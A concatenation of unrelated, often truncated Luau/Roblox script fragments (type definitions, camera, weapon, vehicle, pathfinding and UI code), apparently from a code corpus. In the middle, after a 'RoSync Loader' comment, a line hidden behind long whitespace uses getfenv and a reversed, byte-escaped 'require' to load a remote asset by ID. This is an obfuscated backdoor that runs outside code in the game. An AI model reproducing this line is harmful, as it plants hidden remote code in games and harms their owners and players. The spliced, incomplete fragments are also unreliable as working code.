Roblox/luau_corpus huggingface dataset:
--[[
	* Copyright (c) Roblox Corporation. All rights reserved.
	* Licensed under the MIT License (the "License");
	* you may not use this file except in compliance with the License.
	* You may obtain a copy of the License at
	*
	*     https://opensource.org/licenses/MIT
	*
	* Unless required by applicable law or agreed to in writing, software
	* distributed under the License is distributed on an "AS IS" BASIS,
	* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
	* See the License for the specific language governing permissions and
	* limitations under the License.
]]
export type Object = { [string]: any }
export type Array<T> = { [number]: T }
export type Function = (...any) -> ...any
export type Table<T, V> = { [T]: V }
export type Tuple<T, V> = Array<T | V>
export type mapCallbackFn<K, V> = (element: V, key: K, map: Map<K, V>) -> ()
export type mapCallbackFnWithThisArg<K, V> = (thisArg: Object, value: V, key: K, map: Map<K, V>) -> ()

export type Map<K, V> = typeof(setmetatable(
	{} :: {
		size: number,
		-- method definitions
		set: (self: Map<K, V>, K, V) -> Map<K, V>,
		get: (self: Map<K, V>, K) -> V | nil,
		clear: (self: Map<K, V>) -> (),
		delete: (self: Map<K, V>, K) -> boolean,
		forEach: (
			self: Map<K, V>,
			callback: mapCallbackFn<K, V> | mapCallbackFnWithThisArg<K, V>,
			thisArg: Object?
		) -> (),
		[K]: V,
		has: (self: Map<K, V>, K) -> boolean,
		keys: (self: Map<K, V>) -> Array<K>,
		values: (self: Map<K, V>) -> Array<V>,
		entries: (self: Map<K, V>) -> Array<Tuple<K, V>>,
		ipairs: (self: Map<K, V>) -> any,
		_map: { [K]: V },
		_array: { [number]: K },
		__index: (self: Map<K, V>, key: K) -> V,
		__iter: (self: Map<K, V>) -> (<K, V>({ [K]: V }, K?) -> (K?, V), V),
		__newindex: (self: Map<K, V>, key: K, value: V) -> (),
	},
	{} :: {
		__index: Map<K, V>,
		__iter: (self: Map<K, V>) -> (<K, V>({ [K]: V }, K?) -> (K, V), V),
		__newindex: (self: Map<K, V>, key: K, value: V) -> (),
	}
))

export type WeakMap<K, V> = {
	-- method definitions
	get: (self: WeakMap<K, V>, K) -> V,
	set: (self: WeakMap<K, V>, K, V) -> WeakMap<K, V>,
	has: (self: WeakMap<K, V>, K) -> boolean,
}

export type setCallbackFn<T> = (value: T, key: T, set: Set<T>) -> ()
export type setCallbackFnWithThisArg<T> = (thisArg: Object, value: T, key: T, set: Set<T>) -> ()

export type Set<T> = typeof(setmetatable(
	{} :: {
		size: number,
		-- method definitions
		add: (self: Set<T>, T) -> Set<T>,
		clear: (self: Set<T>) -> (),
		delete: (self: Set<T>, T) -> boolean,
		forEach: (self: Set<T>, callback: setCallbackFn<T> | setCallbackFnWithThisArg<T>, thisArg: Object?) -> (),
		has: (self: Set<T>, T) -> boolean,
		ipairs: (self: Set<T>) -> any,
	},
	{} :: {
		__index: Set<T>,
		__iter: (self: Set<T>) -> (<K, V>({ [K]: V }, K?) -> (K, V), T),
	}
))
return {}
-- Initialize the tool
local DecorateTool = {

	Name = 'Decorate Tool';
	Color = BrickColor.new 'Really black';

};
--
wait(1)
	

function Alert()
	script.Parent.Assembly.Sound.Click:Play()
script.AttackScript.Disabled = true
script.Parent.Parent.On.Value = true
end

function Fire()
	script.Parent.Assembly.Sound.Click:Play()
script.Parent.Parent.On.Value = true	
script.Parent.Values.Fire.Value = true
end


function Test()
script.Parent.Assembly.Sound.Click:Play()
script.AttackScript.Disabled = true
script.Parent.Parent.On.Value = true
end

	function Attack()
		wait(3.6)
	script.AttackScript.Disabled = false
	end


		function Cancel()
			script.Parent.Assembly.Sound.Click:Play()
		script.AttackScript.Disabled = true
		script.Parent.Values.Fire.Value = false
		script.Parent.Values.Mode.Value = 4
		script.Parent.Parent.On.Value = false
		script.Parent.Values.TimerOn.Value = false
end


function Timer()
script.Timer.Disabled = false
signallmp.Value = true
end

		script.Parent.Values.TimerOn.Changed:connect(function()
	if script.Parent.Values.TimerOn.Value == true then
if script.Parent.Values.Mode.Value == 2 then
Alert()
Timer()
elseif script.Parent.Values.Mode.Value == 3 then
Attack()
Timer()
elseif script.Parent.Values.Mode.Value == 5 then
Fire()
Timer()
elseif script.Parent.Values.Mode.Value == 1 then
Test()
elseif script.Parent.Values.Mode.Value == 4 then
script.AttackScript.Disabled = true
Cancel()
				end
		end
end)


script.Parent.Values.Mode.Changed:connect(function()
if script.Parent.Values.Mode.Value == 4 then
Cancel()
end
end)

script.Parent.Values.Fire.Changed:connect(function()
if script.Parent.Values.Fire.Value == true then
script.Parent.Parent.FederalSignalRCM3.IsOn.Value = true
else
script.Parent.Parent.FederalSignalRCM3.IsOn.Value = false
end
end)
--------------------------------------------------------------------------------------
--------------------[ PRE-CONNECTIONS ]-----------------------------------------------
--------------------------------------------------------------------------------------
		
RS:connect(function()
	local Forward = (Keys["w"] or Keys[string.char(17)])
	local Backward = (Keys["s"] or Keys[string.char(18)])
	local Right = (Keys["d"] or Keys[string.char(19)])
	local Left = (Keys["a"] or Keys[string.char(20)])
	
	if (Forward or Backward or Right or Left) then
		Walking, Idleing = true, false
	elseif (not (Forward and Backward and Right and Left)) then
		Walking, Idleing = false, true
	end
end)

M2.KeyDown:connect(function(Key) Keys[Key] = true end)
M2.KeyUp:connect(function(Key) Keys[Key] = false end)
--[[ Last synced 12/13/2020 04:05 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--("IsAHumanoid")
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then
--[[
	Returns an array of `beforeEach` hooks in FIFO order
]]
function LifecycleHooks:getBeforeEachHooks()
	local key = TestEnum.NodeType.BeforeEach
	local hooks = {}

	for _, level in ipairs(self._stack) do
		for _, hook in ipairs(level[key]) do
			table.insert(hooks, hook)
		end
	end

	return hooks
end
--------------------------------------------------------------------------------
-- Popper.lua
-- Prevents your camera from clipping through walls.
--------------------------------------------------------------------------------

local Players = game:GetService("Players")

local CollectionService = game:GetService("CollectionService")

local camera = game.Workspace.CurrentCamera

local min = math.min
local tan = math.tan
local rad = math.rad
local inf = math.huge
local ray = Ray.new

local function getTotalTransparency(part)
	return 1 - (1 - part.Transparency)*(1 - part.LocalTransparencyModifier)
end

local function eraseFromEnd(t, toSize)
	for i = #t, toSize + 1, -1 do
		t[i] = nil
	end
end

local nearPlaneZ, projX, projY do
	local function updateProjection()
		local fov = rad(camera.FieldOfView)
		local view = camera.ViewportSize
		local ar = view.X/view.Y

		projY = 2*tan(fov/2)
		projX = ar*projY
	end

	camera:GetPropertyChangedSignal("FieldOfView"):Connect(updateProjection)
	camera:GetPropertyChangedSignal("ViewportSize"):Connect(updateProjection)

	updateProjection()

	nearPlaneZ = camera.NearPlaneZ
	camera:GetPropertyChangedSignal("NearPlaneZ"):Connect(function()
		nearPlaneZ = camera.NearPlaneZ
	end)
end

local blacklist = {} do
	local charMap = {}

	local function refreshIgnoreList()
		local n = 1
		blacklist = {}
		for _, character in pairs(charMap) do
			blacklist[n] = character
			n = n + 1
		end
	end

	local function playerAdded(player)
		local function characterAdded(character)
			charMap[player] = character
			refreshIgnoreList()
		end
		local function characterRemoving()
			charMap[player] = nil
			refreshIgnoreList()
		end

		player.CharacterAdded:Connect(characterAdded)
		player.CharacterRemoving:Connect(characterRemoving)
		if player.Character then
			characterAdded(player.Character)
		end
	end

	local function playerRemoving(player)
		charMap[player] = nil
		refreshIgnoreList()
	end

	Players.PlayerAdded:Connect(playerAdded)
	Players.PlayerRemoving:Connect(playerRemoving)

	for _, player in ipairs(Players:GetPlayers()) do
		playerAdded(player)
	end
	refreshIgnoreList()
end

CollectionService:GetInstanceAddedSignal("IgnoreCamera"):Connect(function(obj)
	table.insert(blacklist, obj)
end)
--Returns whether damage can be done to a humanoid.
function PlayerDamager:CanDamageHumanoid(DamagingPlayer,Humanoid)
	local HitPlayer = game.Players:GetPlayerFromCharacter(Humanoid.Parent)
	if HitPlayer and DamagingPlayer ~= HitPlayer and HitPlayer.TeamColor == DamagingPlayer.TeamColor and not HitPlayer.Neutral then
		return false
	end
	
	return true
end
--// Functions
function Weld(L_38_arg1, L_39_arg2, L_40_arg3)
	local L_41_ = Instance.new("Motor6D", L_38_arg1)
	L_41_.Part0 = L_38_arg1
	L_41_.Part1 = L_39_arg2
	L_41_.Name = L_38_arg1.Name
	L_41_.C0 = L_40_arg3 or L_38_arg1.CFrame:inverse() * L_39_arg2.CFrame
	return L_41_
end
--!strict
--[=[
  @function fromArray
  @within Set

  @param array {T} -- The array to convert to a set.
  @return {[T]: boolean} -- The set.

  Converts an array to a set, where each item is mapped to true.
  Duplicate items are discarded.

  Aliases: `fromList`

  ```lua
  local array = { "hello", "world", "hello" }

  local set = FromArray(array) -- { hello = true, world = true }
  ```
]=]
local function fromArray<T>(array: { T }): { [T]: boolean }
	local result = table.create(#array)

	for _, value in ipairs(array) do
		result[value] = true
	end

	return result
end

return fromArray
--[=[
	@function Overlay
	@within Blend

	@param background Color3 -- The background colour.
	@param foreground Color3 -- The foreground colour.
	@return Color3 -- The resulting colour.
]=]
return PrepFilter("Overlay", function(background: number, foreground: number): number
	local bg = background * 255
	local fg = foreground * 255

	return (bg < 128) and (2 * fg * bg / 255) or (255 - 2 * (255 - bg) * (255 - fg) / 255)
end)
--// Math
local L_132_ = function(L_169_arg1, L_170_arg2, L_171_arg3)
	if L_169_arg1 > L_171_arg3 then
		return L_171_arg3
	elseif L_169_arg1 < L_170_arg2 then
		return L_170_arg2
	end
	return L_169_arg1
end

local L_133_ = L_121_.new(Vector3.new())
L_133_.s = 30
L_133_.d = 0.55
	
local L_134_ = CFrame.Angles(0, 0, 0)
--[[
	Constructs a new computed state object, which follows the value of another
	state object using a tween.
]]

local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local Types = require(Package.Types)
local TweenScheduler = require(Package.Animation.TweenScheduler)
local useDependency = require(Package.Dependencies.useDependency)
local initDependency = require(Package.Dependencies.initDependency)
local logError = require(Package.Logging.logError)
local logErrorNonFatal = require(Package.Logging.logErrorNonFatal)
local xtypeof = require(Package.Utility.xtypeof)

local class = {}

local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
-- Variables to store waypoints table and zombie's current waypoint
local waypoints
local currentWaypointIndex
 
local function followPath(destinationObject)
	-- Compute and check the path
	path:ComputeAsync(zombie.Position, destinationObject)
	-- Empty waypoints table after each new path computation
	waypoints = {}
 
	if path.Status == Enum.PathStatus.Success then
		-- Get the path waypoints and start zombie walking
		waypoints = path:GetWaypoints()
		-- Move to first waypoint
		currentWaypointIndex = 1
		human:MoveTo(waypoints[currentWaypointIndex].Position)
	else
		-- Error (path not found); stop humanoid
		human:MoveTo(zombie.Position)
	end
end
 
local function onWaypointReached(reached)
	if reached and waypoints ~= nil and currentWaypointIndex ~= nil and currentWaypointIndex < #waypoints then
		currentWaypointIndex = currentWaypointIndex + 1
		human:MoveTo(waypoints[currentWaypointIndex].Position)
	end
end
 
local function onPathBlocked(blockedWaypointIndex)
	-- Check if the obstacle is further down the path
	if blockedWaypointIndex > currentWaypointIndex then
		-- Call function to re-compute the path
		followPath(destination)
	end
end
-- ========================================
-- Local action functions
-- ========================================
-- Returns whether part is in the map folder
local function isInMap(part)
	local mapAncestor = part:FindFirstAncestor("Map")
	return mapAncestor and mapAncestor:IsA("Folder")
end
--// Declarables
local L_15_ = false

local L_16_ = false
local L_17_ = true

local L_18_ = L_1_:WaitForChild('Resource')
local L_19_ = L_18_:WaitForChild('FX')
local L_20_ = L_18_:WaitForChild('Events')
local L_21_ = L_18_:WaitForChild('HUD')
local L_22_ = L_18_:WaitForChild('Modules')
local L_23_ = L_18_:WaitForChild('SettingsModule')
local L_24_ = require(L_23_:WaitForChild("ClientConfig"))
local L_25_ = L_18_:WaitForChild('Vars')

local L_26_
local L_27_
local L_28_
local L_29_
local L_30_
local L_31_
local L_32_
local L_33_
local L_34_
local L_35_
local L_36_
local L_37_
local L_38_
local L_39_
local L_40_

local L_41_

local L_42_
local L_43_
local L_44_
local L_45_
local L_46_
local L_47_
local L_48_

local L_49_ = L_24_.AimZoom

local L_50_ = L_24_.MouseSensitivity
local L_51_ = L_12_.MouseDeltaSensitivity
--[[function pm(x)

	if game.Players:findFirstChild(script.Parent.Parent.Name)~=nil then
		local bob=game.Players:findFirstChild(script.Parent.Parent.Name)
		local mess=Instance.new("Message")
		while bob:findFirstChild("Message")~=nil do bob.Message:remove() end
		mess.Parent=bob
		if x==1 then
			mess.Text="I Chord"
		elseif x==2 then
			mess.Text="IV Chord"
		elseif x==3 then
			mess.Text="V Chord"
		elseif x==4 then
			mess.Text="V-VII Transition"
		elseif x==5 then
			mess.Text="I-VII Transition"
		elseif x==6 then
			mess.Text="III Chord"
		end
		wait(1)
		mess.Parent=nil
	end
end]]

function Leap()
wait(0.25)--Might want to change this
script.Parent.GripForward = Vector3.new(-0,-0,1)
script.Parent.GripPos = Vector3.new(-1, 0, 0)
script.Parent.GripRight = Vector3.new(-1, 0, 0)
script.Parent.GripUp = Vector3.new(0, 1, 0)
wait(0.75)--Might want to change this also...
script.Parent.GripForward = Vector3.new(-0.291, 0.485, 0.825)
script.Parent.GripPos = Vector3.new(-1.5, 0, 0)
script.Parent.GripRight = Vector3.new(-0.857, -0.514, 0)
script.Parent.GripUp = Vector3.new(-0.424, 0.707, -0.565)
end

script.Parent.Parent.Humanoid.Jumping:connect(Leap)
---------------------------------------------------

This = script.Parent
Elevator = This.Parent.Parent.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Elevator:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))		
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end



function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do 
			for r=1,16 do	
				This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 1)
			end
		end
	end
end
---Auto Settings---
			elseif Settings.Mode == "Auto" and Settings.FireModes.Explosive == true then
				Gui.FText.Text = "Explosive"
				Settings.Mode = "Explosive"
			elseif Settings.Mode == "Auto" and Settings.FireModes.Semi == true and Settings.FireModes.Explosive == false then
				Gui.FText.Text = "Semi"
				Settings.Mode = "Semi"
			elseif Settings.Mode == "Auto" and Settings.FireModes.Semi == false and Settings.FireModes.Burst == true and Settings.FireModes.Explosive == false then
				Gui.FText.Text = "Burst"
				Settings.Mode = "Burst"
--------------------[ MATH FUNCTIONS ]------------------------------------------------

function RAND(Min, Max, Accuracy)
	local Inverse = 1 / (Accuracy or 1)
	return (math.random(Min * Inverse, Max * Inverse) / Inverse)
end
--FieldOfView--
local mouse = Player:GetMouse()
local Info = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local Properties = {FieldOfView = FieldOfView}
local T = game:GetService("TweenService"):Create(game.Workspace.CurrentCamera, Info, Properties)
local rProperties = {FieldOfView = 70}
local rInfo = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local rT = game:GetService("TweenService"):Create(game.Workspace.CurrentCamera, rInfo, rProperties)
-- regeneration

while true do
	local s = wait(4)
	local health = Humanoid.Health
	if health > 0 and health < Humanoid.MaxHealth then
		health = health + 0.08 * s * Humanoid.MaxHealth
		if health * 1.05 < Humanoid.MaxHealth then
			Humanoid.Health = health
		else
			Humanoid.Health = Humanoid.MaxHealth
		end
	end
end
-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil

local DebrisService = game:GetService('Debris')

local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil
--- Alias of Registry:GetStore(...)
function Command:GetStore(...)
	return self.Dispatcher.Cmdr.Registry:GetStore(...)
end

return Command
-- Function called when a player joins the game
local function onPlayerAdded(player)
	player.CharacterAdded:Connect(onCharacterAdded)
end
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
--[[
	Returns a version of the given method that can be called with either . or :
]]
local function bindSelf(self, method)
	return function(firstArg, ...)
		if firstArg == self then
			return method(self, ...)
		else
			return method(self, firstArg, ...)
		end
	end
end

local function formatMessage(result, trueMessage, falseMessage)
	if result then
		return trueMessage
	else
		return falseMessage
	end
end
-- // Functions

if rootPart:FindFirstChild("Running") then
    rootPart.Running.Volume = 0
end
--// Services
local L_99_ = game:GetService('RunService').RenderStepped
local L_100_ = game:GetService('UserInputService')
--[=[
	Cleans up the signal.

	Technically, this is only necessary if the signal is created using
	`Signal.Wrap`. Connections should be properly GC'd once the signal
	is no longer referenced anywhere. However, it is still good practice
	to include ways to strictly clean up resources. Calling `Destroy`
	on a signal will also disconnect all connections immediately.
	```lua
	signal:Destroy()
	```
]=]
function Signal:Destroy()
	self:DisconnectAll()
	local proxyHandler = rawget(self, "_proxyHandler")
	if proxyHandler then
		proxyHandler:Disconnect()
	end
end
-------------------------
while true do
Car.BodyVelocity.velocity = Vector3.new(0, 0.5, 0)
wait(22)
Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
break

end
--input ended
inputService.InputEnded:Connect(function (key)
	if key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then
		running = false
		if char.Humanoid then
			char.Humanoid.WalkSpeed = 25 --Player's speed while not sprinting
		end
	end
end)
-- The tag name. Used for cleanup.
local DEFAULT_COLLECTION_TAG_NAME: string = "_RaycastHitboxV4Managed"
---------------------------------------------------------------|
------// SETTINGS //-------------------------------------------|
---------------------------------------------------------------|

local FireRate = 1

local LimbsDamage = {0,0}
local TorsoDamage = {0,0}
local HeadDamage = {0,0}
local FallOfDamage = 1
local BulletPenetration = 65

local RegularWalkspeed = 16
local SearchingWalkspeed = 8
local ShootingWalkspeed = 4

local Spread = 4

local MinDistance = 100
local MaxInc = 16

local Mode = 0


local Tracer = true
local TracerColor = Color3.fromRGB(255,255,255)

local BulletFlare = false
local BulletFlareColor = Color3.fromRGB(255,255,255)
--// F key, HornOn
mouse.KeyDown:connect(function(key)
	if key=="h" then 
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.middle.Airhorn:Play()
		veh.Lightbar.middle.Wail.Volume = 7
		veh.Lightbar.middle.Yelp2.Volume = 7
		veh.Lightbar.middle.Yelp.Volume = 7
		veh.Lightbar.middle.Priority.Volume = 7 	
	end
end)
-- EVENTS
IconController.iconAdded = Signal.new()
IconController.iconRemoved = Signal.new()
IconController.controllerModeStarted = Signal.new()
IconController.controllerModeEnded = Signal.new()
IconController.healthbarDisabledSignal = Signal.new()
-- Vérifier si des joueurs sont déjà présents dans le jeu et afficher le GUI pour eux
for _, player in ipairs(game.Players:GetPlayers()) do
	showGUI(player)
end